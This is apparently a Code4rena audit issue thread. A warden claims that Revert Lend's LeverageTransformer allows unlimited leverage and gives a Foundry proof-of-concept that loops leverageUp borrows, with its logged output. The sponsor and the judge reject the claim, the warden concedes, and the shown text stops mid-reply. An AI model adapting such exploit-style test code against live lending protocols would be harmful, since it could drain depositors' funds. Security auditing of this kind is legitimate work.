code-423n4 / 2024-04-revert-mitigation-findings

1 stars 1 forks source link

No Leverage control allows attackers to borrow all Vault asset. #52

Closed c4-bot-2 closed 5 months ago

c4-bot-2 commented 5 months ago

Lines of code

https://github.com/revert-finance/lend/blob/audit/src/transformers/LeverageTransformer.sol#L41-L102

Vulnerability details

Impact

Proof of concept

The contract LeverageTransformer is documented as Lets positions being leveraged by borrowing, swapping and reading to collateralized position atomically. Also supports deleveraging.. Below is how the function leverageUp works:

The problem with this flow is that it has no control of how much leverage a position could use. An attacker could exploit this by following these steps:

Below is a POC, save this to file test/integration/V3Vault.t.sol and run it using command: forge test --match-path test/integration/V3Vault.t.sol --match-test testTransformLeverageUp -vvv

function testTransformLeverageUp() external {

        vault.setLimits(1000000, 50000e6, 50000e6, 10000e6, 10000e6);

        // lend 5000 USDC
        _deposit(5000e6, WHALE_ACCOUNT);
        // setup transformer
        LeverageTransformer transformer = new LeverageTransformer(NPM, EX0x, UNIVERSAL_ROUTER);
        vault.setTransformer(address(transformer), true);
        transformer.setVault(address(vault));
        // maximized collateral loan

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.approve(address(vault), TEST_NFT);
        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
        vm.stopPrank();

        // Log collateraValue
        (uint256 debt,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        console.log("Collateral %s:   Debt %s", collateralValue, debt);

        // swap 80870 USDC for DAI (to achieve almost optimal ratio)
        bytes memory swapUSDCDAI = abi.encode(
            EX0x,
            abi.encode(
                Swapper.ZeroxRouterData(
                    EX0x,
                    hex"415565b0000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000006b175474e89094c44da98b954eedeac495271d0f0000000000000000000000000000000000000000000000000000000000013be6000000000000000000000000000000000000000000000000011a9a57ccf7a36300000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000000210000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000034000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000006b175474e89094c44da98b954eedeac495271d0f00000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000002c00000000000000000000000000000000000000000000000000000000000013be6000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000002556e69737761705632000000000000000000000000000000000000000000000000000000000000000000000000013be6000000000000000000000000000000000000000000000000011b070687cb870b000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000f164fc0ec4e93095b804a4795bbe1e041497b92a00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb480000000000000000000000006b175474e89094c44da98b954eedeac495271d0f000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000006b175474e89094c44da98b954eedeac495271d0f00000000000000000000000000000000000000000000000000006caebad3e3a8000000000000000000000000ad01c20d5886137e056775af56915de824c8fce5000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee0000000000000000000000000000000000000000000000000000000000000000869584cd000000000000000000000000100000000000000000000000000000000000001100000000000000000000000000000000a6510880f7d95eecdceadc756671b232"
                )
            )
        );

        LeverageTransformer.LeverageUpParams memory params2 = LeverageTransformer.LeverageUpParams(
            TEST_NFT,
            2e6, // borrow 2 USDC
            2e6,
            0,
            swapUSDCDAI,
            0,
            0,
            "",
            0,
            0,
            TEST_NFT_ACCOUNT,
            block.timestamp
        );

        // execute leverageUp multiple times
        // each time borrow 2 USDC and increase liquidity
        vm.startPrank(TEST_NFT_ACCOUNT);
        for(uint i=0;i < 35; i++) {

            vault.transform(TEST_NFT, address(transformer), abi.encodeCall(LeverageTransformer.leverageUp, (params2)));

            ( debt,,  collateralValue,,) = vault.loanInfo(TEST_NFT);
            console.log("Collateral %s:   Debt %s", collateralValue, debt);
        }
        vm.stopPrank();

    }

The test shows how an attacker could repeatedly borrow and increase his Uniswap liquidity, the result is a log of collateralValue/debt every loop:

Collateral 8846179:   Debt 0
  Collateral 10607951:   Debt 2000000
  Collateral 12369724:   Debt 4000000
  Collateral 14131496:   Debt 6000000
  Collateral 15893269:   Debt 8000000
  Collateral 17655041:   Debt 10000000
  Collateral 19416814:   Debt 12000000
  Collateral 21178585:   Debt 14000000
  Collateral 22940358:   Debt 16000000
  Collateral 24702131:   Debt 18000000
  Collateral 26463903:   Debt 20000000
  Collateral 28225675:   Debt 22000000
  Collateral 29987448:   Debt 24000000
  Collateral 31749219:   Debt 26000000
  Collateral 33510992:   Debt 28000000
  Collateral 35272765:   Debt 30000000
  Collateral 37034537:   Debt 32000000
  Collateral 38796309:   Debt 34000000
  Collateral 40558082:   Debt 36000000
  Collateral 42319853:   Debt 38000000
  Collateral 44081626:   Debt 40000000
  Collateral 45843399:   Debt 42000000
  Collateral 47605172:   Debt 44000000
  Collateral 49366943:   Debt 46000000
  Collateral 51128716:   Debt 48000000
  Collateral 52890488:   Debt 50000000
  Collateral 54652260:   Debt 52000000
  Collateral 56414033:   Debt 54000000
  Collateral 58175806:   Debt 56000000
  Collateral 59937578:   Debt 58000000
  Collateral 61699350:   Debt 60000000
  Collateral 63461123:   Debt 62000000
  Collateral 65222894:   Debt 64000000
  Collateral 66984668:   Debt 66000000
  Collateral 68746440:   Debt 68000000
  Collateral 70508212:   Debt 70000000

As you can see, starting with a Uniswap position worth only 8.8 USDC, the attacker can borrow 70USDC (8x leverage) and this can continue forever until daily debt increase limit is reached; after this, the attacker can wait to the next day and continue.

The value of debt and collateral will slowly converge because multiple fees involved in the process of borrow -> increase liquidity. At that point, debt > collateral and the attacker cannot borrow anymore. However, attacker then can buy some a small amount of tokens himself from the market, increase his liquidity and thus increase his collateral value and continue.

Tool used

Manual Review

Recommended Mitigation

I think Revert Lend should put a limit on the average percentage allowed.

Assessed type

Math

kalinbas commented 5 months ago

No, that is actually as designed. It is not possible to borrow infinite amount. If you look at the table at one point the debt reaches the collateral value. But.. you can borrow a multiple of the initial value (thats why it is called leverage).

c4-sponsor commented 5 months ago

kalinbas (sponsor) disputed

ktg9 commented 5 months ago

Hi @kalinbas , thank you for your response. As I stated in the comment, the value of debt and collateral will slowly converge because multiple fees involved in the process of borrow -> increase liquidity. At that point, debt > collateral and the attacker cannot borrow anymore. However, attacker then can buy some a small amount of tokens himself from the market, increase his liquidity and thus increase his collateral value and continue.

What I want to demonstrate here is that the protocol has no control on leverage limit; and this will eventually allow attacker to borrow all the assets. In the POC, each time the attacker borrows 2USDC, then his collateral increases by 1.76 USDC, but this number might varies depends on the swap, the positions and other data; and allow the attackers to borrow even more.

I forgot to mention that in the end of the POC, due to the leftover during swap, the attacker gain 1.4 USD in DAI tokens, replace the loop with this to see the DAI balance:

for(uint i=0;i < 35; i++) {

            vault.transform(TEST_NFT, address(transformer), abi.encodeCall(LeverageTransformer.leverageUp, (params2)));

            ( debt,,  collateralValue,,) = vault.loanInfo(TEST_NFT);
            console.log("Collateral %s:   Debt %s", collateralValue, debt);
            console.log("DAI balance %s", DAI.balanceOf(TEST_NFT_ACCOUNT));
        }
jhsagd76 commented 5 months ago

I did not understand the vulnerability expressed by the warden, what I see is only how to utilize leverage, which is actually common in all lending markets.

I will temporarily mark this issue as invalid. If I missed anything, please remind me during the post-QA stage.

c4-judge commented 5 months ago

jhsagd76 marked the issue as unsatisfactory: Insufficient proof

ktg9 commented 5 months ago

Hi @jhsagd76 , thank you for your response. You're correct that this is not an issue. My idea in this is that a user can repeat the loop of (borrow -> increase collateral -> borrow more) forever. This is possible if an attacker creates an NFT position with tickLower = MIN_TICK and tickUpper = MIN_TICK + tickSpacing.

For example: